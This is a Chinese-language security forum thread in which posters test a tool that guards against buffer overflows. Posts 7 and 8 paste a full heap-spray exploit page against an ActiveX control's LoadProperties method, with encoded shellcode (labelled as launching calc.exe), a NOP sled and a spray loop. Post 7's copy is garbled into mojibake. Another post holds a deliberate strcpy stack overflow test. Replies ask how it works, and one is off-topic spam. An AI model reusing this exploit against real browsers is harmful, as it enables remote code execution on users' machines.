能力值：
( LV2，RANK：10 )
|
-
-
2 楼
贴图一张
|
能力值：
( LV2，RANK：10 )
|
-
-
3 楼
Heap Spray 测试用例
|
能力值：
( LV2，RANK：10 )
|
-
-
4 楼
str* 系列函数 testcase 部分代码
void teststring3()
{
char test[24];
strcpy(test,"aadsfsadfasdfdafadfadfasdfasfsafdsafasfdsafasfsafasdfafafafasfasfasfasdfdsafasdfasdfasfasdfasfsadfdsafsdfafdsfdafadsfdfadsfa");
}
|
能力值：
( LV6，RANK：80 )
|
-
-
5 楼
全是空白
|
能力值：
( LV2，RANK：10 )
|
-
-
6 楼
请拿网页溢出攻击代码测试
|
能力值：
( LV2，RANK：10 )
|
-
-
7 楼
比如这个网页
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='javascript'>
// Payload is win32_exec - calc.exe
shellcode = unescape('%uc931⑴寴玁㴓幆莕'+
'ﳫ껁锚䘽탕촁逢䝅ằ'+
'干쫕䜝状铕矓ಞ슑'+
'蜺颔萼憵ሆ酺ꍈ쫕䜙'+
'䪶ḕ婢繟媶铕쿖넂蔹啯'+
'쵙ꔞ蚸餦ڶṒ婍ỳ乕鲵'+
'욶问䘽ᤁ捯ၝ淗蚾씥'+
'㡕瞆⹎毆䢷樉◚錄䙞镞');
nops=unescape('邐邐');
headersize = 69; //size adjusted for IE6/IE7 "universality"
slackspace= headersize + shellcode.length;
while(nops.length<slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace<0x40000) block=block+block+fillblock;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");
target.LoadProperties(ret);
</script>
</html>
|
能力值：
( LV2，RANK：10 )
|
-
-
8 楼
比如这个网页
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='javascript'>
// Payload is win32_exec - calc.exe
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize = 69; //size adjusted for IE6/IE7 "universality"
slackspace= headersize + shellcode.length;
while(nops.length<slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace<0x40000) block=block+block+fillblock;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");
target.LoadProperties(ret);
</script>
</html>
|
能力值：
( LV5，RANK：60 )
|
-
-
9 楼
这是啥原理啊
|
能力值：
( LV2，RANK：10 )
|
-
-
10 楼
见新版界面图即可知。
|
能力值：
( LV5，RANK：60 )
|
-
-
11 楼
看不懂啊。大牛讲解一下噻
|
能力值：
( LV12，RANK：403 )
|
-
-
12 楼
[QUOTE=iiii;873041]全是空白
[/QUOTE]
我也一样 
|
能力值：
( LV2，RANK：10 )
|
-
-
13 楼
我只是个卖茶叶的小商贩，如需茶叶批发请与我联系。
|
能力值：
( LV2，RANK：10 )
|
-
-
14 楼
硬件防溢出不会是DEP保护吧
|
|
|
|
